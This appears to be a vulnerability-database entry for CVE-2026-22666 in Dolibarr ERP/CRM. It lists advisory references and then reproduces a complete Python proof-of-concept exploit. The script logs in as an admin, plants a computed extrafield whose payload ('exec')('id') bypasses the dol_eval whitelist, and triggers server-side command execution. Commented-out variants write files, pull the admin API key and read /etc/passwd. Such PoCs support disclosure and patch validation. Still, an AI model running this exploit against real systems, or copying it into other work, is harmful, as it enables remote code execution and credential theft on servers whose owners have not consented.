| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2026-22666 | 7 Apr 202612:41 | – | attackerkb | |
| CVE-2026-22666 | 7 Apr 202600:00 | – | circl | |
| Dolibarr ERP/CRM 安全漏洞 | 7 Apr 202600:00 | – | cnnvd | |
| CVE-2026-22666 | 7 Apr 202612:41 | – | cve | |
| CVE-2026-22666 Dolibarr ERP/CRM < 23.0.2 Authenticated RCE via dol_eval_standard() | 7 Apr 202612:41 | – | cvelist | |
| EUVD-2026-19606 | 7 Apr 202615:30 | – | euvd | |
| CVE-2026-22666 | 7 Apr 202613:16 | – | nvd | |
| UBUNTU-CVE-2026-22666 | 7 Apr 202613:16 | – | osv | |
| PT-2026-30818 | 7 Apr 202600:00 | – | ptsecurity | |
| CVE-2026-22666 | 5 Jun 202619:14 | – | redhatcve |
#!/usr/bin/env python3
"""
Dolibarr 23.0.0 dol_eval_standard() Whitelist Bypass by Jiva (JivaSecurity.com)
Proof of Concept — AUTHORIZED TESTING ONLY
The whitelist mode of dol_eval_standard() does not apply $forbiddenphpstrings
checks, and the function-call regex does not detect PHP dynamic callable syntax.
This allows ('exec')('cmd') to bypass all validation and reach eval().
Demonstrated impacts:
- Arbitrary file creation via new SplFileObject()
- Database exfiltration via Dolibarr ORM model classes
- OS command execution via ('exec')('cmd')
Usage: python3 dolibarr_pwn.py [--target URL] [--command CMD]
"""
import argparse
import re
import sys
import urllib.parse
try:
import requests
except ImportError:
print("[!] ERROR: 'requests' library required. Install with: pip install requests")
sys.exit(1)
class DolibarrRCEExploit:
"""Exploits dol_eval_standard() whitelist bypass via computed extrafields."""
EXTRAFIELD_NAME = "jiva_rce_poc"
EXTRAFIELD_LABEL = "JivaRcePoc"
EXTRAFIELD_PATH = "/societe/admin/societe_extrafields.php"
TRIGGER_PATH = "/societe/list.php"
def __init__(self, target, username, password, verify_ssl=False, verbose=False):
self.target = target.rstrip("/")
self.username = username
self.password = password
self.verbose = verbose
self.session = requests.Session()
self.session.verify = verify_ssl
self.csrf_token = None
self.exfiltrated_value = None
def log(self, level, msg):
prefix = {"info": "[*]", "success": "[+]", "error": "[-]", "debug": "[D]"}
if level == "debug" and not self.verbose:
return
print(f"{prefix.get(level, '[?]')} {msg}")
def _extract_csrf_token(self, html):
"""Extract CSRF token from HTML page."""
match = re.search(r'name="token"\s+value="([^"]+)"', html)
if not match:
match = re.search(r'meta\s+name="anti-csrf-newtoken"\s+content="([^"]+)"', html)
if match:
return match.group(1)
return None
def step1_authenticate(self):
"""Authenticate to Dolibarr web UI and establish a session."""
self.log("info", f"Authenticating to {self.target} as '{self.username}'...")
# Get login page for initial CSRF token and session cookie
resp = self.session.get(f"{self.target}/index.php", allow_redirects=False)
if resp.status_code != 200:
self.log("error", f"Failed to reach login page (HTTP {resp.status_code})")
return False
self.csrf_token = self._extract_csrf_token(resp.text)
if not self.csrf_token:
self.log("error", "Could not extract CSRF token from login page")
return False
self.log("debug", f"CSRF token: {self.csrf_token}")
# POST login
login_data = {
"token": self.csrf_token,
"actionlogin": "login",
"loginfunction": "loginfunction",
"username": self.username,
"password": self.password,
}
resp = self.session.post(
f"{self.target}/index.php?mainmenu=home",
data=login_data,
allow_redirects=True,
)
# Check for successful login indicators
if "logout" in resp.text.lower() or "mainmenu" in resp.text.lower():
self.log("success", "Authentication successful")
return True
self.log("error", "Authentication failed — check credentials")
return False
def step2_get_csrf_token(self):
"""Fetch the extrafields admin page and extract a fresh CSRF token."""
self.log("info", "Fetching extrafields admin page for CSRF token...")
resp = self.session.get(f"{self.target}{self.EXTRAFIELD_PATH}")
if resp.status_code != 200:
self.log("error", f"Failed to load extrafields page (HTTP {resp.status_code})")
return False
self.csrf_token = self._extract_csrf_token(resp.text)
if not self.csrf_token:
self.log("error", "Could not extract CSRF token from extrafields page")
return False
self.log("debug", f"Fresh CSRF token: {self.csrf_token}")
# Check if our extrafield already exists
self._extrafield_exists = self.EXTRAFIELD_NAME in resp.text
self.log("debug", f"Extrafield '{self.EXTRAFIELD_NAME}' exists: {self._extrafield_exists}")
return True
def step3_create_extrafield(self, payload):
"""Create or update a computed extrafield with the exploit payload."""
action = "update" if self._extrafield_exists else "add"
self.log("info", f"{'Updating' if self._extrafield_exists else 'Creating'} "
f"computed extrafield '{self.EXTRAFIELD_NAME}'...")
self.log("info", f"Payload: {payload}")
form_data = {
"token": self.csrf_token,
"action": action,
"attrname": self.EXTRAFIELD_NAME,
"label": self.EXTRAFIELD_LABEL,
"type": "varchar",
"size": "255",
"pos": "200",
"computed_value": payload,
"list": "1",
"button": "Add attribute" if action == "add" else "Modify",
}
resp = self.session.post(
f"{self.target}{self.EXTRAFIELD_PATH}",
data=form_data,
allow_redirects=False,
)
if resp.status_code == 302:
self.log("success", f"Extrafield {action}d successfully (302 redirect)")
return True
# Check for error in response body
if "error" in resp.text.lower():
self.log("error", f"Extrafield {action} may have failed — check response")
self.log("debug", resp.text[:500])
return False
self.log("success", f"Extrafield {action} returned HTTP {resp.status_code}")
return True
def step4_trigger_eval(self):
"""Trigger dol_eval() by loading the company list page."""
self.log("info", f"Triggering eval via {self.TRIGGER_PATH}...")
resp = self.session.get(f"{self.target}{self.TRIGGER_PATH}")
if resp.status_code != 200:
self.log("error", f"Trigger page returned HTTP {resp.status_code}")
return None
# Extract computed field value from rendered HTML
# Pattern: data-key="societe.jiva_rce_poc" title="VALUE"
pattern = (
r'data-key="societe\.' + re.escape(self.EXTRAFIELD_NAME)
+ r'"[^>]*title="([^"]*)"'
)
matches = re.findall(pattern, resp.text)
if matches:
self.exfiltrated_value = matches[0]
self.log("success", f"Eval triggered — extracted value: {self.exfiltrated_value}")
return self.exfiltrated_value
# Fallback: check for value in td content
pattern2 = (
r'data-key="societe\.' + re.escape(self.EXTRAFIELD_NAME)
+ r'"[^>]*>([^<]+)<'
)
matches2 = re.findall(pattern2, resp.text)
if matches2:
self.exfiltrated_value = matches2[0].strip()
self.log("success", f"Eval triggered — extracted value: {self.exfiltrated_value}")
return self.exfiltrated_value
# Check for eval error messages
if "Bad string syntax" in resp.text:
self.log("error", "dol_eval() rejected the payload — syntax check failed")
err_match = re.search(r'Bad string syntax[^<]+', resp.text)
if err_match:
self.log("debug", err_match.group(0))
return None
self.log("error", "Could not find computed field value in response")
return None
def step5_cleanup(self):
"""Delete the PoC extrafield to leave the target clean."""
self.log("info", f"Cleaning up — deleting extrafield '{self.EXTRAFIELD_NAME}'...")
# Re-fetch page for fresh CSRF token
resp = self.session.get(f"{self.target}{self.EXTRAFIELD_PATH}")
token = self._extract_csrf_token(resp.text)
if not token:
self.log("error", "Could not get CSRF token for cleanup")
return False
delete_data = {
"token": token,
"action": "delete",
"attrname": self.EXTRAFIELD_NAME,
}
resp = self.session.post(
f"{self.target}{self.EXTRAFIELD_PATH}",
data=delete_data,
allow_redirects=False,
)
if resp.status_code == 302:
self.log("success", "Extrafield deleted — target cleaned up")
return True
self.log("error", f"Cleanup may have failed (HTTP {resp.status_code})")
return False
def run(self):
"""Execute the full exploit chain and return results."""
print("=" * 70)
print("Dolibarr dol_eval() Whitelist Bypass PoC - by Jiva (JivaSecurity.com)")
print("=" * 70)
print()
# Step 1: Authenticate
if not self.step1_authenticate():
return False
# Step 2: Get CSRF token from extrafields page
if not self.step2_get_csrf_token():
return False
# Step 3: Create extrafield with DB exfiltration payload
payload = (
# "(new SplFileObject('/tmp/rce_proof', 'w')) ? 'file_created' : 'blocked'"
# "(($var1 = new User($db)) && ($var1->fetchNoCompute(1) > 0)) ? $var1->api_key : 'failed'"
"('exec')('id')"
# "('exec')('id && hostname && cat /etc/passwd | head -5')"
)
if not self.step3_create_extrafield(payload):
return False
# Step 4: Trigger eval and extract result
result = self.step4_trigger_eval()
if result is None:
self.log("error", "Exploitation failed — eval did not return expected output")
self.step5_cleanup()
return False
# Step 5: Cleanup
self.step5_cleanup()
# Print summary
print()
print("=" * 70)
print("EXPLOITATION SUMMARY")
print("=" * 70)
print(f" Target: {self.target}")
print(f" Vulnerability: dol_eval() whitelist bypass")
print(f" Author: Jiva (JivaSecurity.com)")
print(f" Writeup: https://jivasecurity.com/writeups/dolibarr-remote-code-execution-cve-2026-22666")
print(f" CVE: CVE-2026-22666 (Dolibarr 23.0.0 dol_eval_standard)")
print(f" CVSS: 9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)")
print(f" Payload: {payload}")
print(f" Exfiltrated: Admin API key = {result}")
print(f" Impact: Arbitrary PHP eval in whitelist mode allows")
print(f" class instantiation (SplFileObject, User, etc.)")
print(f" leading to file write and full DB read access.")
print("=" * 70)
if result == "FETCH_FAILED":
self.log("error", "Payload executed but fetchNoCompute returned failure")
return False
return True
def main():
parser = argparse.ArgumentParser(
description="Dolibarr 23.0.0 dol_eval() whitelist bypass PoC by Jiva (JivaSecurity.com)",
epilog="Authorized penetration testing and patch validation ONLY.",
)
parser.add_argument(
"--target", "-t",
default="http://0.0.0.0",
help="Target Dolibarr URL (default: http://0.0.0.0)",
)
parser.add_argument(
"--username", "-u",
default="admin",
help="Admin username (default: admin)",
)
parser.add_argument(
"--password", "-p",
default="admin",
help="Admin password (default: admin)",
)
parser.add_argument(
"--verbose", "-v",
action="store_true",
help="Enable verbose/debug output",
)
parser.add_argument(
"--no-cleanup",
action="store_true",
help="Skip cleanup (leave extrafield in place for inspection)",
)
args = parser.parse_args()
exploit = DolibarrRCEExploit(
target=args.target,
username=args.username,
password=args.password,
verbose=args.verbose,
)
success = exploit.run()
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation